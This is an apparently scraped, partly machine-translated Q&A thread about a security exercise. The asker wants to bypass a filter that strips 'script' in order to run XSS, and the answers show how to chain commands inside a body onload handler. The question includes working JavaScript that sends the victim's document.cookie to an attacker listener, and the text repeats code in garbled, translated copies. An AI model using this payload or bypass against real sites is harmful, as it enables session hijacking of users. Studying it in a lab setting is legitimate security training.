Javascript XSS,带“;脚本“;去除

Javascript XSS,带“;脚本“;去除,javascript,xss,Javascript,Xss,这是一个来自网络安全实践的问题 该站点(为此目的而设置)试图通过使用以下代码过滤“脚本”标记来防范XSS: filtered = re.sub(r"(?i)script", "", input) 任务是在受害者的浏览器中执行一个有效负载,该负载将执行一些操作,包括将他们的cookie发送到远程netcat连接。(当网站没有过滤“脚本”时,我已经完成了这项工作) 我对此进行了研究,发现我可以通过如下查询来执行单个javascript命令: "<body onload=alert(\"hel

这是一个来自网络安全实践的问题

该站点(为此目的而设置)试图通过使用以下代码过滤“脚本”标记来防范XSS:

filtered = re.sub(r"(?i)script", "", input)
任务是在受害者的浏览器中执行一个有效负载,该负载将执行一些操作,包括将他们的cookie发送到远程netcat连接。(当网站没有过滤“脚本”时,我已经完成了这项工作)

我对此进行了研究,发现我可以通过如下查询来执行单个javascript命令:

"<body onload=alert(\"hello\");>"
“”
然而,这并不能解决我的问题,因为它只能执行一个命令(我相信)。我需要执行的负载包含多个命令

我还尝试使用HTML字符代码来避免筛选,例如:

"<s&#99;ript>..."
“…”
但是过滤器捕捉到了它

以下是我正在使用的代码库:

<html>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>

function payload(attacker) {
    function log(data) {
        $.get(attacker, data);
        }
        function proxy(href) {
            $("html").load(href, function(){
                //Send cookie to remote connection
                log(document.cookie);
            });
        }
        proxy("./");
    }

    function makeLink(xssdefense, target, attacker) {
        if (xssdefense == 0) {
            //Code to execute when there is no filter
            return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
                encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">");
        }
        else {
            //Code to execute when 'script' is filtered
            return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
                encodeURIComponent("<body onload=alert(\"test\");>"); 
            }
    }

    var xssdefense = 1;
    var target = "http://81.211.34.1/xsstest";
    var attacker = "http://127.0.0.1:31337/";

    $(function() {
        var url = makeLink(xssdefense, target, attacker);
        $("h3").html("<a id=\"link\" target=\"run\" href=\"" + url + "\"> Enter Site!<\a>");
        document.getElementById("link").click();
        });
        </script> <h3></h3>
    </html>

功能负载(攻击者){
功能日志(数据){
$.get(攻击者、数据);
}
函数代理(href){
$(“html”).load(href,function(){
//将cookie发送到远程连接
日志(document.cookie);
});
}
委托书(“./”);
}
函数makeLink(xssdefense、目标、攻击者){
如果(xssdefense==0){
//没有筛选器时要执行的代码
返回target++/search?xssdefemse=“+xssdefense.toString()+”&q=”+
encodeURIComponent(“+payload.toString()+”有效负载(\”“+attacker+“\”;”);
}
否则{
//筛选“脚本”时要执行的代码
返回target++/search?xssdefemse=“+xssdefense.toString()+”&q=”+
编码元件(“”);
}
}
var xssdefense=1;
变量目标=”http://81.211.34.1/xsstest";
var攻击者=”http://127.0.0.1:31337/";
$(函数(){
var url=makeLink(xssdefense、目标、攻击者);
$(“h3”).html(“输入站点!”);
document.getElementById(“链接”)。单击();
});

任何帮助都将不胜感激

onload=
属性中只能有一个表达式,但仍然可以执行多个命令

好办法: 或者,如果您知道它们都返回错误的值(例如,
undefined
不返回任何内容)


相反,如果您知道它们都返回真实值(如数字、字符串或对象)


onload=
属性中只能有一个表达式,但仍然可以执行多个命令

好办法: 或者,如果您知道它们都返回错误的值(例如,
undefined
不返回任何内容)


相反,如果您知道它们都返回真实值(如数字、字符串或对象)


onload
中可以有多个表达式:

<body onload="alert(1); alert(2);">

onload
中可以有多个表达式:

<body onload="alert(1); alert(2);">

r”(?i)脚本“
?你确定吗?听起来像是语法错误。
r”(?i)script“
?你确定吗?这听起来像是语法错误。
<body onload="cmd1() || cmd2() || cmd3();">
<body onload="cmd1() && cmd2() && cmd3();">
<body onload="alert(1); alert(2);">